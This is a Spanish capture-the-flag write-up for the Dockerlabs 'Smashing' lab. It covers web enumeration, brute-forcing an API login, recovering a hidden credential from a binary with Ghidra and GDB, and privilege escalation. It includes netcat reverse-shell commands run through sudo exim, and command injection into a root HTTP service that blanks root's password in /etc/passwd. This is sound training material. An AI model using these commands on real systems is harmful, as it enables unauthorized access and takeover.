Smashing Dockerlabs
Introducción
En este writeup resolveremos Smashing, una máquina de Dockerlabs que combina enumeración web, explotación de servicios y escalada de privilegios, con especial atención a la ingeniería inversa. Uno de los puntos clave del reto será el análisis de un binario con Ghidra y GDB, donde descubriremos cómo recuperar una credencial oculta invocando directamente una función que no se ejecuta durante el flujo normal del programa. Finalmente, aprovecharemos configuraciones inseguras y funcionalidades de servicios internos para pivotar entre usuarios y conseguir acceso como root.
Fase de Reconocimiento
Al ser un laboratorio de Dockerlabs una vez desplegado nos indica la ip de la máquina víctima:
Sabiendo esto podemos empezar con el escaneo de puertos.
Escaneo de puertos
1
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oN allPorts
1
nmap -p22,80 -sCV 172.17.0.2 -oN targeted
Tras el escaneo vemos que la máquina víctima tiene abiertos el puerto 22 correspondiente al servicio SSH y el puerto 80 correspondiente al servicio HTTP en el que detecta una tecnología de python, vamos a echar un vistazo.
Enumeración
Enumeración de servicio HTTP
1
whatweb http://172.17.0.2
El reporte de whatweb nos indica que se aplica una redirección al dominio “cybersec.dl” y que nuestra máquina no es capaz de resolver el dominio. Todo apunta a que debemos añadir este dominio a nuestro archivo /etc/hosts para ser capces de resolver este dominio y que al redirigirnos a esta página todo cargue correctamente.
Una vez hecho si accedemos vía navegador veremos que la redirección se aplica y todo carga correctamente:
Desde Wappalyzer vemos que la página está montada con python flask.
Si abrimos las devtools (ctrl + shift + c) del navegador, en la sección de network nos daremos cuenta que continuamente la web por detrás lanza peticiones a una API cuya respuesta son contraseñas seguras generadas de forma aleatoria a priori.
En este punto vamos a aplicar fuzzing para descubrir rutas y directorios de interés en la web.
1
feroxbuster -u http://cybersec.dl -w /usr/share/SecLists-master/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt -t 40
No encontramos nada interesante en la raíz de la web quitando el endpoint de la API, vamos a ver en el directorio /api si encontramos algo de lo que tirar.
1
feroxbuster -u http://cybersec.dl/api -w /usr/share/SecLists-master/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt -t 40
Bien, descubrimos el directorio /login que si nos fijamos nos devuelve un código de estado HTTP 405 correspondiente a “Not Allowed”. Aún así podríamos probar a pasarle una estructura típica de autenticación por el método POST a ver qué responde. Esto podemos hacerlo desde terminal con la herramienta curl o desde Postman si preferimos una interfaz gráfica, en mi caso utilizaré la segunda opción.
1
{"username": "admin", "password": "12345"}
Nos responde con un mensaje de error indicando que las credenciales no son válidas. En este punto tenemos una forma potencial de autenticarnos, sólo nos falta conseguir credenciales válidas…
Descubrimiento de subdominios con gobuster
Antes de esto vamos a tratar de encontrar subdominios válidos.
1
gobuster vhost -u http://cybersec.dl -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain
Encontramos el subdominio “mail.cybersec.dl” que debemos añadir a nuestro archivo /etc/hosts para poder acceder a él. Una vez hecho:
Encontramos otra página de login. Tras tratar de interceptar la petición con burpsuite vemos que es atrezzo y ningún botón tramita ninguna petición, es un rabbithole.
Explotación
En este punto vamos a tirar de fuerza bruta para tratar de loguearnos en el endpoint /login de la API. Para esto podemos usar fuff por ejemplo:
Ataque de fuerza bruta a endpoint /login de la API
1
ffuf -u http://cybersec.dl/api/login -X POST -H "Content-Type: application/json" -d '{"username": "admin", "password": "FUZZ"}' -w /usr/share/wordlists/rockyou.txt -fs 39
Efectivamente descubrimos la contraseña para el usuario admin, vamos a autenticarnos a ver qué nos responde la API.
Como comentábamos antes podríamos hacer esto mismo desde terminal utilizando
curlde la siguiente manera:Para verlo de forma más ordenada y visual le pasamos la respuesta a la utilidad
jq.
1 curl -s -X POST http://cybersec.dl/api/login -H "Content-Type: application/json" -d '{"username": "admin", "password": "undertaker"}' | jq
Tras autenticarnos vemos que nos devuelve cierta información en la respuesta entre ella rutas y subdominios que nos llaman la atención como atacantes. Vamos a añadir a nuestro /est/hosts los dominios y luego validaremos el contenido de cada ruta y subdominio.
Para el subdominiio 0internal_down.cybersec.dl encontramos lo siguiente.
Vamos a descargar estos archivos y ver de qué se trata.
Por lo que indica la nota debemos buscar una credencial en el código del binario que nos facilitan, para esta labor podemos utilizar la herramienta de la NSA ghidra.
Ghidra es una herramienta de ingeniería inversa gratuita y de código abierto desarrollada por la Agencia de Seguridad Nacional de los Estados Unidos (NSA).
Análisis de código fuente con ghidra (reversing)
Una vez abierto ghidra e importado el binario, para ver el código debemos dirigirnos a “Symbol Tree” → “Functions” y pinchar en “main”, para desplegar todo el código del programa “smashing” en C.
Antes de ponernos a revisar código es recomendable ejecutar el programa para saber por encima que hace. Primero le concedemos privilegios de ejecución y luego lo ejecutamos:
De primeras esto es lo que hace, como tenemos la posibilidad como usuario de pasarle input podemos pensar en tratar de ver si es vulnerable a BoF (Buffer OverFlow), pero de momento vamos a analizar su código fuente en busca de la credencial que se menciona en la nota.
Cabe destacar que este binario y la resolución de esta máquina está enfocada a explotar un BoF pero este caso es muy complejo y hay otra forma de completar el CTF.
Después de estar revisando el código fuente del binario encontramos varias partes que nos llaman la atención, entre ellas las funciones factor1 y factor2. La función factor1 crea una cadena de texto vacía (local_118) y va pegando trozo a trozo varias variables (a1209, b1210, etc.) una detrás de otra usando strcat (concatenar).
1
2
3
4
5
6
7
8
9
strcat(local_118, a1209);
strcat(local_118, b1210);
strcat(local_118, c1211);
strcat(local_118, d1212);
strcat(local_118, e1213);
strcat(local_118, f1214);
strcat(local_118, g1215);
printf("info: %s\n", local_118);
Tiene toda la pinta de que en esta función se crea la credencial que buscamos, el inconveniente es que no se ejecuta en ninguna parte del código.
Mientras que en la función factor2 tenemos esta porción de código:
La variable local_58 tiene espacio para 72 bytes, pero fgets lee hasta 0x80 (128 bytes). Esa diferencia permite escribir más datos de los que caben en la variable, dando lugar a un BoF.
Extracción de credencial mediante gdb
Sin embargo, antes de explotar esta vulnerabilidad, vamos a comprobar si podemos recuperar la credencial directamente a partir de factor1(), ya que parece contener la información que necesitamos.
GDB (GNU Debugger) es una herramienta que te permite controlar la ejecución de un programa mientras corre, en vez de solo observarlo desde fuera. En este caso la usaremos para ejecutar funciones del binario manualmente aunque el programa nunca las llame por sí solo (función factor1).
Para ello, recurrimos a GDB con la extensión GEF y comprobamos las protecciones habilitadas en el binario mediante el comando checksec:
1
2
# desde gdb
checksec
El resultado muestra que el binario tiene habilitadas las protecciones Canary, NX y PIE, mientras que Fortify no está habilitada y RELRO es parcial. Estas protecciones dificultan determinadas técnicas de explotación, por lo que resulta interesante buscar una alternativa que no requiera aprovechar el desbordamiento de búfer.
Como el binario utiliza PIE, las direcciones de memoria pueden variar entre ejecuciones debido a ASLR. No obstante, al trabajar desde GDB podemos utilizar el nombre de la función y dejar que el depurador resuelva su dirección en tiempo de ejecución.
Para ello, abrimos el binario con GDB y GEF y establecemos un punto de ruptura (breakpoint) en main(), de manera que podamos detener la ejecución al comienzo de la función principal y examinar el programa antes de que termine.
1
gdb ./smashing -q
Una vez dentro del depurador, establecemos el punto de ruptura y ejecutamos el programa:
1
2
break main
run
Cuando la ejecución se detiene en main(), podemos invocar directamente factor1() desde la consola de GDB, sin necesidad de modificar el flujo normal del programa ni de buscar su dirección absoluta en memoria. Para ello, ejecutamos:
1
call (void) factor1()
El comando call permite ejecutar una función del programa durante la depuración. Al indicar su nombre, GDB resuelve su dirección en tiempo de ejecución, lo que resulta especialmente útil cuando el binario utiliza PIE y las direcciones pueden variar entre ejecuciones. Por su parte, el cast (void) indica que no necesitamos obtener ningún valor de retorno de la función.
Al ejecutarse factor1(), se concatenan los distintos fragmentos de texto identificados durante el análisis estático y se muestra por pantalla la cadena resultante mediante la llamada a printf().
La salida obtenida es la siguiente:
De esta forma hemos conseguido recuperar la credencial evitando explotar un desbordamiento de búfer tan complejo. La clave está en identificar mediante ingeniería inversa una función que no se ejecuta durante el flujo normal del programa y llamarla directamente desde el depurador.
Bien, una vez conseguida la credencial “2tP42bSzBTnmEAuAGkxj3” parece estar hasheada o codeada en algún formato, vamos a ver si somos capaces de averiguar cúal.
En esta web nos indica que podría ser una cadeba codificada en base58, vamos a echarle un ojo desde consola.
1
echo -n "2tP42bSzBTnmEAuAGkxj3" | base58 -d
Efectivamente era una cadena en base58, de esta forma hayamos una credencial válida para el usuario “flipsy” que es quien le dejaba la nota al usuario “Darksblack”. Si recordamos esta máquina tiene el servicio SSH habilitado por lo que vamos a probar esta credenciales.
1
ssh flipsy@172.17.0.2
Una vez dentro podemos empezar con la escalada de privilegios y la enumeración local.
Escalada de privilegios
Enumeración local
1
grep 'sh$' /etc/passwd
1
sudo -l
El usuario flipsy puede ejecutar el binario exim como el usuario darksblack sin proporcionar contraseña, viendo esto podríamos apoyarnos en gtfobins para ver si hay forma de spawnear una shell con este binario y pivotar a dicho usuario. Tras ver en gtfobins no encontramos nada destacable, vamos a ejecutar la utilidad a ver qué hace:
1
sudo -u darksblack /usr/bin/exim
Este binario sirve para gestionar correos electrónicos en el sistema, si verificamos su versión y la investigamos en Internet veremos que es vulnerable y tiene un CVE asignado, CVE-2025-30232. El inconveniente es que no hay ningún PoC de como explotarlo y por lo que vi puede llegar a ser bastante complejo.
Investigando más sobre el binario descubrimos que cuenta con el parámetro -be diseñado para ejecutar el programa en un modo de prueba de evaluación de expansiones. En este modo, el motor de Exim procesa cadenas de texto y evalúa expresiones sin enviar correos reales. Entre sus funcionalidades nativas, la sintaxis ${run{<comando>}} permite la ejecución de comandos externos del sistema.
1
2
# ejemplo:
sudo -u darksblack exim -be '${run{/bin/whoami}}'
User Pivoting abusando de binario exim
Sabiendo esto podemos obtener una sesión interactiva como el usuario de darksblack. A continuación, nos ponemos en escucha con netcat en nuestro equipo atacante y ejecutamos Exim bajo el contexto del usuario darksblack pasando el comando a ejecutar:
1
2
# en nuestra máquina atacante
nc -nlvp 443
1
2
# en la máquina víctima
sudo -u darksblack exim -be '${run{/usr/bin/nc 172.17.0.1 443 -e /bin/sh}}'
Una recibida la reverse shell podemos hacer un tratamiento de la TTY y proseguir con la enumeración local desde el contexto de este usuario. El probelma de esto es que al ponerle directamente el comando Exim espera a que el proceso secundario finalice para capturar su salida y evaluar la expresión. Cuando lanzamos una reverse shell interactiva (como nc -e /bin/sh), el comando no termina, sino que se queda abierto esperando entrada/salida. Al pasar el tiempo límite interno de Exim, este interrumpe la ejecución por timeout.
Para solucionar esto podemos delegar la ejecución a un script independiente, por ejemplo:
1
nano /tmp/reverse.sh
1
2
#!/bin/sh
/usr/bin/nc 172.17.0.1 443 -e /bin/sh &
1
2
chmod +x /tmp/reverse.sh
nc -nlvp 443
1
sudo -u darksblack exim -be '${run{/tmp/reverse.sh}}'
Una vez hecho deberíamos recibir la reverse shell sin problema y no se morirá por timeout. 
Tratamiento de la TTY
1
2
3
4
5
6
script /dev/null -c sh
# ctrl + z
stty raw -echo; fg
reset xterm
export TERM=xterm SHELL=bash
stty rows 53 columns 206
Una vez hecho podemos continuar la enumeración local desde el contexto de este usuario.
Al ganar acceso como este usuario nos llama la atención que pertenece al grupo “cyber”. Por esto buscamos archivos sobre los que este grupo tenga permisos y encontramos el archivo /var/www/html/serverpi.py cuyo contenido tiene una cadena en base64, si la decodificamos:
1
echo -n "cadenaBase64" | base64 -d > serverpi.py
1
cat serverpi.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import http.server
import socketserver
import urllib.parse
import subprocess
import base64
PORT = 25000
AUTH_KEY_BASE64 = "MDAwMGN5YmVyc2VjX2dyb3VwX3J0XzAwMDAwMAo="
class Handler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
auth_header = self.headers.get('Authorization')
if auth_header is None or not auth_header.startswith('Basic'):
self.send_response(401)
self.send_header("Content-type", "text/plain")
self.end_headers()
self.wfile.write(b"Authorization header is missing or incorrect")
return
# Extraer la clave enviada por el cliente (en Base64)
encoded_key = auth_header.split('Basic ')[1]
# Decodificar la clave almacenada en Base64
decoded_stored_key = base64.b64decode(AUTH_KEY_BASE64).decode().strip() # Eliminar saltos de línea
# Decodificar la clave enviada por el cliente
decoded_client_key = base64.b64decode(encoded_key).decode().strip() # Eliminar saltos de línea
# Comparar las claves
if decoded_client_key != decoded_stored_key:
self.send_response(403)
self.send_header("Content-type", "text/plain")
self.end_headers()
self.wfile.write(b"Invalid authorization key")
return
# Procesar el parámetro 'exec'
parsed_path = urllib.parse.urlparse(self.path)
query_params = urllib.parse.parse_qs(parsed_path.query)
if 'exec' in query_params:
command = query_params['exec'][0]
try:
allowed_commands = ['ls', 'whoami']
if not any(command.startswith(cmd) for cmd in allowed_commands):
self.send_response(403)
self.send_header("Content-type", "text/plain")
self.end_headers()
self.wfile.write(b"Command not allowed.")
return
result = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT)
self.send_response(200)
self.send_header("Content-type", "text/plain")
self.end_headers()
self.wfile.write(result)
except subprocess.CalledProcessError as e:
self.send_response(500)
self.send_header("Content-type", "text/plain")
self.end_headers()
self.wfile.write(e.output)
else:
self.send_response(400)
self.send_header("Content-type", "text/plain")
self.end_headers()
self.wfile.write(b"Missing 'exec' parameter in URL")
with socketserver.TCPServer(("127.0.0.1", PORT), Handler) as httpd:
httpd.serve_forever()
Descubrimos que la máquina corre un servicio interno por el puerto 25000 en el que se puede ejecutar dos comandos ls y whoami. Si probamos a acceder a él:
1
curl http://localhost:25000; echo
Nos indica que necesita una cabecera de autenticación con la llave que se nos facilita en el código del script, para esto utilizaremos la cabecera “Authorization: Basic” de la siguiente manera:
1
curl -H "Authorization: Basic MDAwMGN5YmVyc2VjX2dyb3VwX3J0XzAwMDAwMAo="
Autenticación HTTP Basic
Se utiliza para restringir el acceso al servicio, exigiendo una credencial válida antes de permitir la ejecución de comandos. La cabecera
Authorization: Basictransmite dicha credencial codificada en Base64, un formato reversible que no proporciona cifrado. En este caso, conocer la clave estática permite superar la autenticación y acceder al parámetroexec.
Abuso de servicio interno del sistema
Para tratar de probarlo podemos ejecutar:
1
curl -H "Authorization: Basic MDAwMGN5YmVyc2VjX2dyb3VwX3J0XzAwMDAwMAo=" "http://127.0.0.1:25000?exec=whoami"
Vemos que los comandos que ejecutemos se ejecutan con privilegios de usuario root. Algo que podemos probar es a concatenar más de un comando, por ejemplo:
1
2
# comando whoami;ls -la /root url-encodeado -> whoami%3B%20ls%20-la%20/root
curl -H "Authorization: Basic MDAwMGN5YmVyc2VjX2dyb3VwX3J0XzAwMDAwMAo=" "http://127.0.0.1:25000?exec=whoami%3B%20ls%20-la%20/root"
Y efectivamente podemos concatenar más comandos a ejecutar como root. En este punto hay múltiples formas de escalar privilegios, en mi caso modificaré el /etc/passwd:
1
curl 'http://127.0.0.1:25000/?exec=whoami;sed%20s/root:x:/root::/g%20-i%20/etc/passwd' -H "Authorization: Basic MDAwMGN5YmVyc2VjX2dyb3VwX3J0XzAwMDAwMAo=" && su
En este comando utilizamos sed para modificar el archivo /etc/passwd. En concreto, la expresión s/root:x:/root::/g busca la secuencia root:x: y la sustituye por root::. La opción -i aplica el cambio directamente sobre el archivo, sin necesidad de redirigir la salida a otro fichero, mientras que /etc/passwd indica el archivo sobre el que se realiza la operación.
En una entrada convencional de /etc/passwd, el carácter x del segundo campo indica que la información de la contraseña se encuentra almacenada habitualmente en /etc/shadow. Al sustituir ese campo por una cadena vacía, se altera la información de autenticación asociada a la cuenta root. Este cambio puede permitir el acceso sin contraseña en determinados sistemas, aunque su efecto depende de la configuración de PAM y de las políticas de autenticación aplicadas.
Por último, el operador && ejecuta su únicamente si curl termina con un código de salida satisfactorio. Este comando intenta iniciar una sesión con el usuario objetivo y, en este caso, permite comprobar si la modificación ha tenido el efecto esperado.
De esta forma logramos escalar al usuario root completando la máquina Smashing de Dockerlabs !!




































